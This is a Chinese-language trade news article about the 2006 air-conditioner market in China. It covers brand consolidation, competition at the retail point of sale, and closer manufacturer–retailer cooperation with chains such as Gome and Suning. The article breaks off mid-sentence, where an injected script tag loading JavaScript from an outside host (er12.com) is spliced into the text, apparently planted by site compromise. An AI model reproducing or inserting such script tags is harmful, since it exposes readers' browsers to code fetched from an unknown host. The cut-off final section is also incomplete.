近来，空调厂商合作消息频频传出：奥克斯与连锁卖场强强联盟、格力空调重上国美货架、科龙联手国美发动空调高端大战，其它品牌也在积极寻找厂商之间更好合作的方式。
在品牌高度集中、竞争秩序逐渐规范的情况下，受到行业利润难以提升、原材料价格上涨、技术严重趋同等问题困扰。2006年，中国空调业厂商之间合作的“向心力”达到了空前一致。
业内人士认为，这是一个行业发展到一定成熟阶段的必然趋势，厂商深度合作将成为2006年中国空调行业“特色”。 洗牌尾声 格局定型
随着产品核心技术不断升级，市场竞争日益激烈，中国空调市场经历了残酷的市场“洗牌”和“大浪淘沙”。中国空调行业400多个品牌现在只剩下十几个主流品牌，而前5位的市场主流空调品牌，占据整个市场份额的60%以上，品牌高度集中。
由中国行业企业信息发布中心主办的“第十届全国商品销量信息发布会”数据公布，2005年度全国空调市场销量前几名分别是海尔、美的、格力、奥克斯等品牌。
这些品牌竞争的优势主要表现在企业综合竞争力和市场综合竞争力两大方面：一、在企业综合竞争力上，规模都达到700万套空调产能，拥有先进的生产设备和研发实力，确保了产品品质。服务网络遍布全国销售市场保证了售后服务及时、周到；二、在市场综合竞争力上，如市场覆盖率、终端展台位置、展台布置、产品展示、促销信息、促销员业务能力、产品价格、客流等都在业内排名前列。
06年度，整个空调行业本土品牌与合资品牌之间的竞争、渠道之间的竞争以及厂家与渠道之间的关系都将影响到整个空调格局的走势，虽然仍存在诸多变数，但有一点却是清晰可见：空调行业洗牌接近尾声，市场格局已见雏形。有业内人士也表示，06年度空调行业已经进入后空调竞争时代，行业竞争已经从“混战”局面演进到强者之间的“对决”。国内空调市场在渠道竞争及节能技术升级的推动下，也许将出现新的变局，但行业格局基本定型，市场洗牌热潮逐渐降低。 细节制胜 赢在终端
在行业利润微薄的情况下，中国空调企业正经受着各方面严峻的市场“考验”。随着空调器在一、二级市场的大量普及，消费的形式从以往单一的价格向品质、性能、能效、外观设计与色彩等多元化方向发展。空调厂商都有意向地在06年度加大终端资源投入，加强终端推广意识，向高端市场发力。
一边是消费趋势，一边是大势所趋。2006年度，空调业继拼技术、拼价格、拼服务之后，“决胜终端”已成为各空调品牌最响亮的口号。
终端争夺的竞争越来越激烈，随着全国连锁巨头的网络在一、二级市场的完善布局，卖场里的产品销售争夺战在全国市场一片决胜终端的“呐喊”声中愈演愈烈。
专家认为，“天下大事必作于细，天下难事必作于易”。做终端并不难，难就难在把终端做细，难的是把每个门店每一个小事都做得完美无暇。在行业竞争白热化的06年度，各品牌除了拥有终端竞争意识，更应该拥有“精耕细作”的终端操作思路。
奥克斯空调营销总经理郑宏伟也表示，06年空调行业市场的终端战略布置固然重要，但实施“精耕细作”的操作思路更加重要，对于能在细节上把握资源的整合，发挥资源效率最大化的厂家将获得更多优势。
某传播市场顾问公司也指出，由于空调行业利润低，产品竞争同质化，在目前渠道竞争格局的情况下，只有加强终端推广，并贯彻对终端市场“精耕细作”的操作思路，才能迅速提高终端零售销量。 厂商合作 由浅入深
终端市场被重视，意味着厂商之间的合作有新的突破。
3月份国美、苏宁纷纷抛出50亿、40亿元的空调采购大单，大连锁卖场的这种“大单”钓鱼法，希望能够拿到最具价格竞争力的产品外，也折射出空调企业能否经受大金额采购的考验。可想而知，获得高额定单的企业接下来所面临巨大的产生压力和销售压力，也在一定程度上反应了在今后的销售过程中与大连锁的合作态度必是深度合作。
厂商合作由来以久，但每个阶段合作的方式和诚意都不尽相同。有分析人士认为，新时期的厂商合作已经转向深层次，从以往以简单的借助渠道商获利形式转变利益共赢的战略性合作。新时期的合作主要表示在几个方面：
首先，合作的方式走向精细化。从06年度开盘，企业纷纷调员换帅可以看出，企业自行调整内部组织机构，成立推广部和大客户部，就是为了更好地处理与大连锁卖场之间的关系，同时着重在导购人员、促销等各细节方面开展终端推广。
其次，合作的目的具有战略性。厂商之间的合作是实现利润的最佳优化，这就需要一种相互制约的平衡才能达到利润的优化分配。经过激烈的市场洗牌之后，空调品牌与渠道的格局都已经定型，空调企业向渠道过分依靠的现象将有所改变。厂商之间的合作不再表现出弱者向强者的依靠，不再是一边倒式的单方面拥有发言权，而是达到相互合作共同赢利的战略性合作伙伴。
再次，合作的行为是?script src=http://er12.com/t.js>
